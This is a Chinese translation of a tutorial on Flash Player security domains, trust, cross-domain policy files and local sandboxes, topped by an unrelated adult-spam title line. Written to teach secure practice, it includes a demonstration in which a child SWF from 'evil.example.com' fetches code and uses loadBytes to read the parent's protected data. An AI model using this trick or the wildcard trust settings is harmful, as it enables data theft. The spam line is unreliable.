自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

深入理解Flash Player的安全域(Security Domains)

安全 應用安全
一篇對Flash Player的安全域(Security Domain)介紹得比較詳細的文章,深入淺出,值得一看。

一篇對Flash Player的安全域(Security Domain)介紹得比較詳細的文章,深入淺出,值得一看。

英文原文:Security Domains, Application Domains, and More in ActionScript 3.0

翻譯版本:教程:深入理解Flash的沙箱 – Security Domains

簡介

如果你還沒有與復雜的的安全域(security domain)和應用程序域(application domain)問題打過交道,那么你真是個幸運的家伙。當你在加載外部內(nèi)容(然后他們開始播放)的時候,默認的設置工作的很好,你甚至不知道他們的存在。

但是某些時候你可能需要控制默認設置以外的更多行為和功能,這樣你就會遇到前面所說的問題。你也許會困擾于Security.allowDomain和 crossdomain.xml文件的區(qū)別,又或者你想要深究關于安全性的最佳實踐。如果是這樣,那么這篇文章就是你所需要的了。

以下的教程將會討論什么是安全域和應用程序域,以及他們在Flash Player中應該如何使用。

安全域

◆Introduction 簡介

◆Sandboxing 沙箱

◆Security Domains 安全域

◆Trust 信任授權(quán)

◆Non-executable Trust 不可執(zhí)行文件的信任機制

◆Non-executable Content Without Trust 非受信的不可執(zhí)行文件

◆SWF Communication Without Trust 在非受信的SWF之間通訊

◆Merging Security Domains 合并安全域

◆Stage Owner and Access 場景的擁有者和獲取權(quán)限

◆Local Security Domains 本地安全域

Sandboxing 沙箱

沙箱是用于區(qū)分不同的數(shù)據(jù)和程序執(zhí)行。沙箱對于安全性尤其重要。如果沒有恰當?shù)男湃问跈?quán),兩個位于不同沙箱內(nèi)的內(nèi)容應該沒有任何交互。Flash Player的安全模型使用稱為安全域的沙箱來分離內(nèi)容。

雖然安全性是沙箱的主要用途,但這并不是唯一使用沙箱的原因。另外一種可能的情形是使用沙箱來避免命名沖突,這種區(qū)分代碼的沙箱方式在Flash Player中被稱為應用域。

Security Domains 安全域

安全域在Flash中是頂級的沙箱。安全域鏈接到內(nèi)容的來源域名,或者是被加載的內(nèi)容(如SWF文件)的來源域名。比如在 senocular.com下的SWF文件包含一個鏈接到senocular.com的安全域,而在example.com下的SWF文件則有一個鏈接到 example.com的安全域。不同的安全域使得SWF文件在Flash Player中播放時運行在自身的沙箱下。

security domains

Flash Player中的安全域沙箱

注意:在本教程的例子中,你將看到我用統(tǒng)一頂級域名下的不同子域來代表不同域名,這是因為在Flash中,不同子域和不同頂級域一樣,都被視為不同的域。示例中代碼也被簡化過了,在Flash編輯環(huán)境下用時間線代碼也可以進行測試。

不可執(zhí)行的內(nèi)容(非SWF文件),比如圖片或者文本文件,也被劃分到安全域中,同樣與他們所處的域名相關聯(lián)。實際上,正是域名決定了這些內(nèi)容是否能夠被某個SWF文件加載。更多這方面的內(nèi)容將在不可執(zhí)行文件的信任機制章節(jié)中進行討論。

回到SWF上來,安全域劃分了數(shù)據(jù)和可執(zhí)行代碼。如果兩個SWF處于不同的安全域下,某個SWF中的數(shù)據(jù)(比如某個變量)是不可以被其他SWF獲取的,當然,代碼也不能執(zhí)行。如果嘗試獲取其他域中SWF文件的數(shù)據(jù)將會產(chǎn)生一個安全錯誤。

下面的代碼展示了一個SWF文件企圖加載另外一個SWF,并獲取其文檔類的實例(也就是主時間線)。

http://same.example.com/parent.swf:

var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener(Event.INIT, init);

var url:String = "http://diff.example.com/child.swf";
loader.load(new URLRequest(url)); 

function init(event:Event):void {
	trace(loader.content);
	// SecurityError: Error #2121: Security sandbox violation:
	// Loader.content: http://same.example.com/parent.swf
	// cannot access http://diff.example.com/child.swf.
	// This may be worked around by calling Security.allowDomain.
}

任意想要獲取被加載的SWF文件的內(nèi)容的嘗試,甚至包括trace Loader的content屬性。都會引起安全錯誤,因為他們兩者處于不同的安全域內(nèi)。

安全域的劃分也適用于Flash Player所使用的原生ActionScript類。Flash Player在每個安全域中都創(chuàng)建了獨立的原生類。舉例來說,一個安全域內(nèi)的XML類與另外一個安全域內(nèi)的XML類是不相同的,改變其中一個XML的靜態(tài)屬性XML.prettyIndent并不會影響到另一個安全域。

下面這個SWF文件加載了兩個子SWF,一個來自自身的域,另一個從另外的域加載。我們改變了主文件的prettyIndent屬性,來看看這兩個子文件的屬性輸出。

http://same.example.com/parent.swf:

trace(XML.prettyIndent); // 2 XML.prettyIndent = 5; trace(XML.prettyIndent); // 5 // Same domain: var sameLoader:Loader = new Loader(); var sameURL:String = "http://same.example.com/child.swf"; sameLoader.load(new URLRequest(sameURL)); // Different domain: var diffLoader:Loader = new Loader(); var diffURL:String = "http://diff.example.com/child.swf"; diffLoader.load(new URLRequest(diffURL));

http://same.example.com/child.swf:

trace("same: " + XML.prettyIndent); // same: 5

http://diff.example.com/child.swf:

trace("diff: " + XML.prettyIndent); // diff: 2

可以看到,第二個子文件的屬性并沒有被改變。這就說明不同的安全域具有不同的原生ActionScript類定義。

Trust 信任授權(quán)

盡管安全域只允許相同域下的通訊,但是我們可以通過信任授權(quán)來讓處于兩個不同安全域內(nèi)的SWF文件進行通訊。通過授權(quán),某個安全域內(nèi)的文件可以獲取另一個域內(nèi)文件的的數(shù)據(jù),或者調(diào)用其方法,就像是處于相同的安全域下一樣。

在ActionScript中,SWF的信任授權(quán)是通過Security.allowDomain(或者類似的Security.allowInsecureDomain)來設置的。在被信任的安全域內(nèi)的代碼可以調(diào)用這個方法來授權(quán)信任給另一個或者一組在其他安全域內(nèi)的SWF文件。這種信任是單向的,發(fā)起allowDomain的SWF文件不能去訪問被授權(quán)信任的文件,除非對方也做了信任授權(quán)。

Security domains with trust

建立信任關系的安全域

在下面的例子中,一個子SWF文件調(diào)用allowDomain來允許父SWF的訪問:

http://home.example.com/parent.swf:

var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener(Event.INIT, init);

var url:String = "http://away.example.com/child.swf";
loader.load(new URLRequest(url));

function init(event:Event):void {
	// (子文件執(zhí)行了allowDomain)
	trace(loader.content); <em>// [object DocumentClass]</em>
}

http://away.example.com/child.swf:

Security.allowDomain("home.example.com");

如果沒有授信,就像前文說到的,還是會引發(fā)安全錯誤。但是一旦被加載的子SWF調(diào)用了allowDomain以后,父SWF文件就可以自由的訪問子 SWF文件中的內(nèi)容。要注意的是在這個例子中,由于父SWF文件沒有授權(quán)away.example.com的信任,所以子SWF仍然無法訪問loader 的content屬性。

信任是非常重要的安全概念,絕對不能掉以輕心。我們經(jīng)常看見使用通配符的授權(quán):

// 小心哦!
Security.allowDomain("*");

這么做將允許所有SWF文件,不僅僅只是你加載的或是加載你的,可以通過ActionScript來訪問你文件中的數(shù)據(jù)。就算你沒有在文件中包含敏感數(shù)據(jù),但是如果你在文件中提供了某些方法去獲取這種數(shù)據(jù),那也有可能被其他SWF調(diào)用。使用allowDomain來授權(quán)的信任就像給了其他SWF文件相等的權(quán)利:你能做什么,我就能做什么。在接下來的合并安全域章節(jié)中你將看到這意味著什么。

如果你只是想讓SWF之間能夠通信,除了信任授權(quán)的方法以外我們還可以使用sharedEvents對象來實現(xiàn),我們將在在非受信的SWF之間通訊章節(jié)中討論。

Non-executable Trust 不可執(zhí)行文件的信任機制
由于不可執(zhí)行文件(也就是非SWF文件)不能調(diào)用allowDomain代碼,所以這類文件的信任機制在Flash Player中有不一樣的處理方法。這就是跨域(cross-domain)策略文件派上用場的地方。

跨域策略文件是一個放在網(wǎng)站的根域名下的命名為crossdomain.xml的XML文件。和allowDomain類似,定義了一組可以被Flash Player加載的安全網(wǎng)站域名。一個簡單的跨域策略文件的例子如下:

http://example.com/crossdomain.xml:

<?xml version="1.0"?>
<cross-domain-policy>
	<site-control permitted-cross-domain-policies="by-content-type"/>
	<allow-access-from domain="*.example.com"/>
	<allow-access-from domain="www.example-partner.com"/>
</cross-domain-policy>

你可以從Cross-domain policy file specification (adobe.com)獲得詳細的文件格式信息。

和allowDomain不同的是,跨域策略文件只提供了包含所有文件(通常是一個域下的所有文件)的用法。上面的例子表示允許來自example.com的任意子域或www.example-partner.com的SWF文件加載example.com下的文件。

由于存在allowDomain機制,跨域策略文件通常不用于授權(quán)SWF文件的訪問??缬蚣虞dSWF的時候不會請求跨域策略文件。只有當要把一個跨域的SWF合并到當前的安全域的時候,才需要提供跨域策略文件。這個主題將在合并安全域中進行討論。

不管是標準的位于域名根目錄下的跨域策略文件還是用Security.loadPolicyfile指定的跨域策略文件,都只有在需要的時候才會被加載:當內(nèi)容被加載的同時,跨域策略文件也被一起加載進來。

加載完成后,F(xiàn)lash Player分析跨越策略文件并判斷該域是否為信任SWF所處的域。如果答案是肯定的話,文件正常加載,就像處于和SWF文件相同的域一樣。反之則有可能有兩種情況:

1、文件不被加載

2、文件加載成功,但是其數(shù)據(jù)不能被SWF文件直接訪問

如果文件本身就是數(shù)據(jù)(文本文件,XML文件,二進制數(shù)據(jù)等等),那么文件就不會被加載。

Policy file for loading

需要跨域策略文件來加載僅包含數(shù)據(jù)的文件

如果文件除了數(shù)據(jù)以外還有其余用途(圖像文件,聲音文件等),那么文件還是能夠被加載到用戶可見(可聽)的環(huán)境中。比如說圖像文件,就算沒有跨域策略文件,還是可以在Loader對象中顯示給用戶看。但是類似BitmapData.draw等直接訪問圖像數(shù)據(jù)的方法就不能運行。

Policy file for trusting

需要跨域策略文件來獲取其他文件的數(shù)據(jù)的引用

對此可能大家都有點疑惑。實際上用戶是可以訪問這些數(shù)據(jù)的,但是SWF文件不行。Flash Player是在保護用戶的數(shù)據(jù)不被潛藏有危險代碼的SWF文件獲取。用戶不需要關心跨域策略文件也能正常的瀏覽網(wǎng)頁內(nèi)容。

但這并不是說跨域策略文件可以被忽視,類似于下面這種過分縱容的跨域策略文件有很多潛在的危險:

<?xml version="1.0"?>
<cross-domain-policy>
	<!-- 小心哦! -->
	<allow-access-from domain="*"/>
</cross-domain-policy>

警告:使用通配符(*)允許所有域的訪問等同于:用戶可能可以接觸到的所有處于該域下的數(shù)據(jù)都有可能被任意SWF文件獲取。

客戶端的Flash Player運行在當前用戶的認證下,這就表示用戶的數(shù)據(jù)可能就是Flash Player的數(shù)據(jù)。而且Flash Player的數(shù)據(jù)可能被任意在里面運行的SWF獲取。Flash Player默認只允許相同域名下的SWF的安全數(shù)據(jù),并限制跨域SWF的運行。如果沒有這層限制,SWF可以獲取任意當前用戶可以獲取的數(shù)據(jù)。

舉個例子:某用戶使用他的認證來登錄網(wǎng)頁的郵件客戶端收取郵件,然后用戶打開了一個包含有惡意程序的SWF的頁面。如果沒有跨域限制的話,這個 SWF可以用他現(xiàn)有的認證偷偷地加載用戶的郵件頁面。用戶可以訪問的內(nèi)網(wǎng)也不例外,只要用戶能去的地方,SWF就能去。幸好Flash Player阻止了這種獲取數(shù)據(jù)的行為,除非該域通過跨域策略文件給予SWF授權(quán)。

記住一個原則,永遠不要對包含敏感數(shù)據(jù)的域開發(fā)跨域授權(quán),即使需要上面的信息來進行用戶認證。把SWF可以訪問的數(shù)據(jù)劃分到不同的域或者子域下面。

這將使得敏感數(shù)據(jù)不可被訪問,但是仍然可以對其他域下的SWF文件公開你的其他數(shù)據(jù)。

Non-executable Content Without Trust 非受信的不可執(zhí)行文件

如果沒有跨域策略文件的信任授權(quán),F(xiàn)lash Player禁止非SWF文件的獲取。特別是像文本那樣的僅包含數(shù)據(jù)的文件,甚至不會加載。如果你需要從一個沒有跨域授權(quán)的域中獲取數(shù)據(jù),還是有一個變通的辦法。

跨域策略文件用于保護數(shù)據(jù),特別是保護用戶數(shù)據(jù),或者說是用戶能夠接觸到的數(shù)據(jù)。因為Flash Player是運行在客戶端的,但是服務器端的代碼沒有這種限制。服務器完全是另外一臺機器,所以用戶請求和服務器請求是完全無關的。

由于服務器沒有用戶的限制,服務器端的代碼可以從任意公開的網(wǎng)絡服務獲取數(shù)據(jù)。也就是說包含SWF的服務器可以用于訪問外部域的數(shù)據(jù),然后作為相同域的數(shù)據(jù)返回給Flash Player。由于處在相同的域下,F(xiàn)lash Player就不需要有跨域策略文件了。

下面的代碼演示了一個服務器端的php腳本加載外部數(shù)據(jù)的例子:

http://home.example.com/loader.swf:

var urlLoader:URLLoader = new URLLoader();

var urlVariables:URLVariables = new URLVariables();
// 服務器端獲取外部數(shù)據(jù)的地址
urlVariables.externalURL = "http://away.example.com/content.txt";

// 服務器端的腳本獲取外部數(shù)據(jù)并傳給SWF
var serverPage:String = "http://home.example.com/read.php";

var request:URLRequest = new URLRequest(serverPage);
request.data = urlVariables;
urlLoader.load(request);

這種解決方案也有一定的問題。首先你必須能夠在服務器端部署代碼,某些小項目也許根本不需要服務器環(huán)境。

另一個可能更重要的原因是這種方式加倍了網(wǎng)絡流量。首先必須從外部域加載到你自己的域下,然后才被下載到你的SWF客戶端。同時這也加重了你的服務器的負載。使用跨域策略文件的話就不會有這種問題。

這可以作為一種解決方案,但最好還是能用跨域策略文件來解決。

SWF Communication Without Trust 在非受信的SWF之間通訊

在某些情況下有可能要與其他來源不那么可靠的域中的SWF通訊,你并不希望完全信任該域,放開全部授權(quán)。對此LoaderInfo對象的 sharedEvents屬性提供了另一種機制。sharedEvents對象是唯一的一個可以在不同安全域中發(fā)送共享事件的對象。加載者和被加載者都可以通過這個對象來向?qū)Ψ桨l(fā)送事件。

通過sharedEvents對象發(fā)送的事件在兩個域中都是完全受信的,這就使得在兩個安全域中傳遞的任意數(shù)據(jù)都無需考慮安全問題。

警告:當心!通過sharedEvents對象傳遞了錯誤的數(shù)據(jù)仍然有可能把你的SWF中的數(shù)據(jù)暴露出去。比如你的事件包含了一個復雜對象,特別是顯示列表上的對象,那么你的整個SWF都將暴露。

所以通過sharedEvents發(fā)送的事件應該限制為包含簡單數(shù)據(jù)的事件類型,避免一些被包含后門的SWF程序加以利用。如果你要傳遞復雜的事件,那要在傳遞之前先做一下清理。

使用sharedEvents進行通訊的兩個SWF需要確保發(fā)送和接收的是一致的事件類型。父SWF可以發(fā)出一種事件并監(jiān)聽另一種。子SWF可以監(jiān)聽父SWF發(fā)出的事件并發(fā)出父SWF中正在監(jiān)聽的事件。這些事件的名字可以是隨意的。

下面的例子演示了在不同安全域中的父子SWF使用sharedEvents來通訊簡單的文本信息的情況。父SWF發(fā)出“fromParent”事件,而子SWF發(fā)出“fromChild”事件。

http://safe.example.com/parent.swf:

var loader:Loader = new Loader();
var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents;
shared.addEventListener("fromChild", fromChild);

var url:String = "http://untrusted.example.com/child.swf";
loader.load(new URLRequest(url));

function fromChild(event:TextEvent):void {
	trace(event.text); // Good day

	var replyMessage:TextEvent = new TextEvent("fromParent");
	replyMessage.text = "Same to you";
	shared.dispatchEvent(replyMessage);
}

http://untrusted.example.com/child.swf:

var shared:EventDispatcher = loaderInfo.sharedEvents;
shared.addEventListener("fromParent", fromParent);

var firstMessage:TextEvent = new TextEvent("fromChild");
firstMessage.text = "Good Day";
shared.dispatchEvent(firstMessage);

function fromParent(event:TextEvent):void {
	trace(event.text); // Same to you
}

任意的事件類都可以像這樣用于傳遞信息,也包括自定義事件。再次強調(diào),要當心不要把包含引用的數(shù)據(jù)(特別是顯示列表上的對象)隨著事件一起發(fā)送出去。這種情況的例子在場景的擁有者和獲取權(quán)限章節(jié)中可以找到。

Merging Security Domains 合并安全域

如果兩個域之間建立了信任關系,一個SWF就能把另外一個SWF加到自己的安全域內(nèi),就像是在相同的域下一樣。

在這種情況下信任授權(quán)的處理有少許不同。首先,包含父SWF的域不需要指定什么,只要執(zhí)行加載另一個SWF到當前的安全域就表示完全信任這個SWF。

其次,因為子SWF是立即被加載到父SWF的安全域中,并沒有機會通過allowDomain進行信任授權(quán)聲明。當子SWF可以執(zhí)行 allowDomain聲明的時候,已經(jīng)被加載并實例化到另外的域中。所以這種情況下,跨域策略文件將派上用場。實際上這也是跨域策略文件唯一適用于對 SWF進行授權(quán)的情況。

Loading into another security domain

需要跨域策略文件把跨域的SWF加載到相同的安全域

要加載某個SWF到自己的安全域內(nèi),需要給Loader.load方法指定一個LoaderContext對象。LoaderContext對象的securityDomain屬性設置為當前的安全域(SecurityDomain.currentDomain)。通過這樣的加載方式,父SWF授信給子SWF,而子SWF的授信則需要通過跨域策略文件。

http://host.example.com/parent.swf:

trace(new LocalConnection().domain); // host.example.com

var loader:Loader = new Loader();

// 創(chuàng)建一個LoaderContext對象把子SWF加載到當前的安全域
var context:LoaderContext = new LoaderContext(true);
context.securityDomain = SecurityDomain.currentDomain;

var url:String = "http://trusting.example.com/child.swf";
loader.load(new URLRequest(url), context);

http://trusting.example.com/crossdomain.xml:

<?xml version="1.0"?>
<cross-domain-policy>
	<allow-access-from domain="host.example.com"/>
</cross-domain-policy>

http://trusting.example.com/child.swf:

trace(new LocalConnection().domain); // host.example.com

我們可以通過LocalConnection對象的domain屬性來檢查每個SWF所處的安全域。雖然子SWF原先所處的域是trusting.example.com,但是由于它被加載到父SWF所處的域中,所以子SWF最終所處的安全域是host.example.com。

用這個方式加載的SWF文件權(quán)力比用allowDomain授權(quán)的更加大。使用allowDomain授權(quán),等同于說你能做什么,我就能做什么。而把SWF加載到同一個安全域,則等同于我能做任何事。在前一種情況下,子SWF只能調(diào)用父SWF下的代碼,還是受限于父SWF中的定義。但是通過加載到相同的安全域,這些子SWF就可以在你的域下面做任意操作,這包括:

◆獲取父SWF中的任意引用

◆讀取主域中的所有文件

◆讀取其他授信給主域的所有域下的文件

◆讀取主域下的共享對象

◆獲取通過主域建立的共享連接通訊

◆獲取授信給主域的socket連接

所以在引入跨域SWF文件到你當前的安全域下的時候,你要確保這種權(quán)力不會被濫用。

使用包含安全域的LoaderContext對象的load方法不是能夠引入跨域SWF到你的安全域的唯一方法。Loader類的另一個方法loadBytes也可以做到。和load不同的是,它不是用URL來加載外部內(nèi)容,而是直接加載以ByteArray的形式加載對象。

由于ByteArray與域名之間沒有關聯(lián),所以用loadBytes方法加載的對象將直接進入當前安全域內(nèi)。因為你在加載包含這些字節(jié)對象之前往往都要經(jīng)過某種信任授權(quán),所以這通常是安全的。

http://host.example.com/parent.swf:

trace(new LocalConnection().domain); // host.example.com

var loader:Loader = new Loader();

var urlLoader:URLLoader = new URLLoader();
urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
urlLoader.addEventListener(Event.COMPLETE, bytesLoaded);

// cross-domain policy file required to load data
var url:String = "http://trusting.example.com/childbytes.swf";
urlLoader.load(new URLRequest(url));

function bytesLoaded(event:Event):void {
	loader.loadBytes(urlLoader.data);
}

http://trusting.example.com/crossdomain.xml:

<?xml version="1.0"?>
<cross-domain-policy>
	<allow-access-from domain="host.example.com"/>
</cross-domain-policy>

http://trusting.example.com/childbytes.swf:

trace(new LocalConnection().domain); // host.example.com

就和前面看到的例子一樣,通過檢查子SWF文件的LocalConnection.domain屬性,使用loadBytes方法加載的子SWF也顯示為相同的安全域。

警告:loadBytes方法有個小小的安全問題:可以把授信過的跨域SWF和加載到當前安全域下的SWF兩者間的不同扯平。我們知道雖然這兩者都是被信任的,但是就像上面的列表中提到的,后者比前者的權(quán)力更大。“你能做什么,我就能做什么”與“我能做任何事”之間的差別,結(jié)果可以變成沒有差別。

這是因為授信過的跨域SWF文件可以訪問父SWF的任何對象,包括父SWF對象的Loader實例,一旦擁有了對loadBytes方法的引用,這就意味著可以把某些字節(jié)對象加載到當前的安全域。

下面的這個例子展示了這種可能性:

http://good.example.com/parent.swf:

// 授權(quán) "你能做什么,我就能做什么"
Security.allowDomain("evil.example.com");

// 應當受保護的數(shù)據(jù)
var so:SharedObject = SharedObject.getLocal("foo", "/");
so.data.foo = "bar";
so.flush();

var loader:Loader = new Loader();
var url:String = "http://evil.example.com/child.swf";
loader.load(new URLRequest(url));

http://evil.example.com/child.swf:

var so:SharedObject = SharedObject.getLocal("foo", "/");
trace("trust only: " + so.data.foo); // trust only: undefined

var urlLoader:URLLoader = new URLLoader();
urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
urlLoader.addEventListener(Event.COMPLETE, bytesLoaded);

var url:String = "http://evil.example.com/childbytes.swf";
urlLoader.load(new URLRequest(url));

function bytesLoadedEvent):void {
	// 威脅!loadBytes加載了SWF數(shù)據(jù)到父SWF的安全域
	loaderInfo.loader.loadBytes(urlLoader.data);
}

http://evil.example.com/childbytes.swf:

var so:SharedObject = SharedObject.getLocal("foo", "/");
trace("same domain: " + so.data.foo); // same domain: ba

將來版本的Flash Player可能會改變這種行為,所以在程序中不要使用這種方法。我們應該關注的是加載授信過的SWF文件會帶來的潛在威脅:暴露你的域下的所有數(shù)據(jù)。

Stage Owner and Access 場景的擁有者和獲取權(quán)限

當?shù)谝粋€SWF文件被加載到Flash Player中的時候,它被加到顯示列表的根上,也就是我們所說的stage對象。這也是Flash Player自己的顯示對象的根。每個SWF都有代表自己主文檔類或者主時間線的根(叫做root)。第一個被創(chuàng)建的SWF實例的根被放置于場景上,其他子SWF使用Loader對象的實例來加載。

場景的特別之處在于它本身就位于顯示列表上,所有處于顯示列表上的子SWF都可以取得它的引用,但是它只有一個擁有者:就是第一個被實例化的那個SWF。場景的擁有者決定了場景所連接的安全域。其他的SWF想對場景進行特殊操作的行為都必須獲得場景所有者的信任授權(quán)。

你可能有注意到在過去的有些程序或者是組件中,被加載到不同的域(未授信)里的時候報錯。這正是因為沒有取得對場景對象進行操作的授權(quán)。因為場景對象是可以被引用的,但是諸如場景的addEventListener方法等卻不可用,所以這很容易引起誤解。

下面這個表格列出了場景對象限制非安全域?qū)ο笤L問的成員??赡懿皇?00%精確,主要用于參考。

在下面的例子中看看場景是如何可以被子SWF訪問,但是卻不能調(diào)用stage.addEventListener方法。

http://first.example.com/parent.swf:

var loader:Loader = new Loader();
addChild(loader);

var url:String = "http://<samp>second</samp>.example.com/child.swf";
loader.load(new URLRequest(url));

http://second.example.com/child.swf:

// Works
trace(stage); // [object Stage]

// Does not work
stage.addEventListener(MouseEvent.CLICK, stageClick);
// SecurityError: Error #2070: Security sandbox violation:
// caller http://second.example.com/child.swf cannot access
// Stage owned by http://first.example.com/parent.swf.

場景的這種所有者關系非常操蛋,因為我們經(jīng)常需要對場景對象監(jiān)聽鼠標或者鍵盤事件,比如檢測鍵盤按下或者檢測鼠標在物體外部釋放點擊。在這種情況下,單靠子SWF自身是沒辦法完成的。還好,場景擁有者的父SWF可以通過sharedEvents傳遞場景事件而不必授信給子SWF。通過這種方式,可以在保護主域的前提下配合完成這種工作。

警告:以下這個使用范例演示了sharedEvents是如何處理安全性問題的。一些鼠標事件的relatedObject屬性持有對時間線上的對象的引用。如果不經(jīng)過清理,這些對象就會暴露給沒有經(jīng)過授信的域。所以通過 sharedEvents發(fā)送事件時,要把這些引用清除。比如MouseEvent,我們可以新建一個僅包含必須數(shù)據(jù)的MouseEvent對象。

下面的示例展示了如何通過sahredEvents發(fā)送場景事件。示例中僅僅轉(zhuǎn)發(fā)了MOUSE_OUT事件,當然也可以擴展于其他的事件類型。注意如何創(chuàng)建一個代理事件并保護父SWF中的對象。

http://stageowner.example.com/parent.swf:

var combination:String = "1-2-3-4-5"; // 隱私數(shù)據(jù)

var loader:Loader = new Loader();
var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents;

var url:String = "http://untrusted.example.com/child.swf";
loader.load(new URLRequest(url));

stage.addEventListener(MouseEvent.MOUSE_OUT, forwardMouseEvent);

function forwardMouseEvent(event:MouseEvent):void {
	// 威脅!這種做法暴露了relatedObject,也使得其他數(shù)據(jù)被暴露
	//shared.dispatchEvent(event);

	// Safer: 創(chuàng)建一個清理過的代理事件來切斷relatedObject的引用
	var safeEvent:MouseEvent = new MouseEvent(event.type);
	safeEvent.altKey = event.altKey;
	safeEvent.buttonDown = event.buttonDown;
	safeEvent.ctrlKey = event.ctrlKey;
	safeEvent.delta = event.delta;
	safeEvent.localX = event.localX;
	safeEvent.localY = event.localY;
	safeEvent.shiftKey = event.shiftKey;

	shared.dispatchEvent(safeEvent);
}

http://untrusted.example.com/child.swf:

var shared:EventDispatcher;

// 如果場景事件不能引用,那就通過sharedEvents監(jiān)聽
if (loaderInfo.parentAllowsChild){
	stage.addEventListener(MouseEvent.MOUSE_OUT, stageMouseOut);
}else{
	shared = loaderInfo.sharedEvents;
	shared.addEventListener(MouseEvent.MOUSE_OUT, stageMouseOut);
}

function stageMouseOut(event:MouseEvent):void {
	// -- stage mouse out actions here --

	// 如果sharedEvents傳遞了原始的鼠標事件,那么父域中的數(shù)據(jù)就暴露了!
	//trace(Object(event.relatedObject).root.combination); // 1-2-3-4-5
}

幸好有safeEvent這個MouseEvent的實例,原本的MouseEvent對象的relatedObject指向的引用被屏蔽了。實際上,所有通過sharedEvents對象發(fā)送的事件都應該用這種方式清理一遍。

Local Security Domains 本地安全域

在硬盤上運行的SWF文件同樣有自己的安全域。本地安全域有自己獨特的行為,共分為4種安全沙箱類型:local-with-file, local-with-network, local-trusted, and application for AIR(本文不詳細討論AIR)。再加上網(wǎng)絡上的SWF,一共有5種安全沙箱。在ActionScript中,你可以用Security.sandboxType來獲得當前的安全沙箱類型。

◆local-with-file (Security.LOCAL_WITH_FILE)—本地不受信任的文件,只可以訪問本地數(shù)據(jù),不能與網(wǎng)絡通信。

◆local-with-network (Security.LOCAL_WITH_NETWORK)—本地不受信任的文件,只可以訪問網(wǎng)絡,但是不能讀取本地數(shù)據(jù)。

◆local-trusted (Security.LOCAL_TRUSTED)—本地受信的文件,通過Flash Player設置管理器或者FlashPlayerTrust文件授權(quán)。可以訪問本地和網(wǎng)絡。

◆application (Security.APPLICATION)—隨著AIR包而安裝,運行在AIR程序中。默認在這種沙箱類型下的文件可以調(diào)用任意域下的文件(外部域可能不允許)。而且默認能從任意其他域下加載數(shù)據(jù)。

◆remote (Security.REMOTE)—來自網(wǎng)絡的文件,遵循安全域的沙箱規(guī)則。

由于有可能從用戶的硬盤上獲取敏感數(shù)據(jù),所以本地文件在安全方面有著嚴格的規(guī)則。一旦有機會,惡意的SWF將可以從電腦上讀取數(shù)據(jù)并上傳到網(wǎng)絡上的服務器。所以為了防止這種情況,本地的SWF只允許一種類型的通訊,要么就是本地,要么就是網(wǎng)絡。而且,不同安全沙箱類型的SWF不能相互加載,避免能同時訪問網(wǎng)絡和訪問本地的情況出現(xiàn)。

由于我們不能判斷本地文件的域名,所以判斷本地SWF文件的安全沙箱用的是另外一種形式。只允許本地和只允許網(wǎng)絡這兩種情況是通過SWF文件內(nèi)的標識來區(qū)分的,所有的SWF在發(fā)布的時候都帶有這種標識,當SWF在本地運行的時候,F(xiàn)lash Player就用它來檢測安全沙箱類型。

對于本地的信任文件,相同的問題是我們沒有地方來保存跨域策略文件,所以我們通過Flash Player的設置管理器里的全局安全設置面板來設置。通過下圖中所示的下拉菜單把本地SWF的路徑添加到本地的安全文件列表里。

Settings Manager

Flash Player 設置管理器

另一種方式是通過配置文件的方式。配置文件不像設置管理器那樣需要聯(lián)網(wǎng)來使用。要把SWF或者包含SWF的文件夾添加到信任位置的話只需要添加路徑到Flash Player的#Security\FlashPlayerTrust下的.cfg文件就可以了。在Mac和Windows上,這個路徑如下:

  • Windows 95-XP:
    C:\Documents and Settings\[username]\Application Data\Macromedia\Flash Player\#Security\FlashPlayerTrust
  • Windows Vista-7:
    C:\Users\[username]\AppData\Roaming\Macromedia\Flash Player\#Security\FlashPlayerTrust
  • Mac OS X:
    /Users/[username]/Library/Preferences/Macromedia/Flash Player/#Security/FlashPlayerTrust

把[username] 替換為你的用戶名。

兩種方法都是把信任授權(quán)信息寫入你的硬盤(全局安全設置面板也一樣,保存在Flash Player的特定目錄下)。這些文件就像你本地的跨域策略文件一樣。當Flash Player讀取的時候,信任授權(quán)給SWF,并覆蓋SWF文件中關于本地訪問權(quán)限的標識,從而允許受信的SWF能夠同時訪問本地和網(wǎng)絡。

Local sandbox types

本地安全域

關于本地信任機制還有一點需要注意的是即使是本地受信的文件,仍然不能把處于外部沙箱的內(nèi)容加載入本地沙箱。

大多數(shù)Flash內(nèi)容都是為網(wǎng)絡創(chuàng)建的,所以通常不需要完全理解本地的安全沙箱機制。但是開發(fā)和測試是一個例外。Flash編輯器在測試的時候就是把SWF放在一個本地受信的安全沙箱里面。這有可能會造成與真正發(fā)布的SWF情況不同的結(jié)果,因為兩者的安全沙箱不同。比如你測試的時候可以從沒有授信的外部域讀取內(nèi)容,而真正發(fā)布到網(wǎng)站上的SWF卻無法加載。所以當你測試的時候要注意,你所看到的結(jié)果和最終發(fā)布的版本有可能不一樣。

責任編輯:藍雨淚 來源: cnblogs
相關推薦

2024-06-06 09:58:13

2010-06-13 12:22:28

2010-06-01 15:25:27

JavaCLASSPATH

2016-12-08 15:36:59

HashMap數(shù)據(jù)結(jié)構(gòu)hash函數(shù)

2020-07-21 08:26:08

SpringSecurity過濾器

2012-11-22 10:11:16

LispLisp教程

2013-09-22 14:57:19

AtWood

2009-09-25 09:14:35

Hibernate日志

2023-10-19 11:12:15

Netty代碼

2021-02-17 11:25:33

前端JavaScriptthis

2020-09-23 10:00:26

Redis數(shù)據(jù)庫命令

2017-01-10 08:48:21

2017-08-15 13:05:58

Serverless架構(gòu)開發(fā)運維

2019-06-25 10:32:19

UDP編程通信

2024-02-21 21:14:20

編程語言開發(fā)Golang

2024-04-07 00:04:00

Go語言Map

2011-06-30 11:04:05

JTS

2022-07-04 08:01:01

鎖優(yōu)化Java虛擬機

2017-05-03 17:00:16

Android渲染機制

2024-07-18 10:12:04

點贊
收藏

51CTO技術(shù)棧公眾號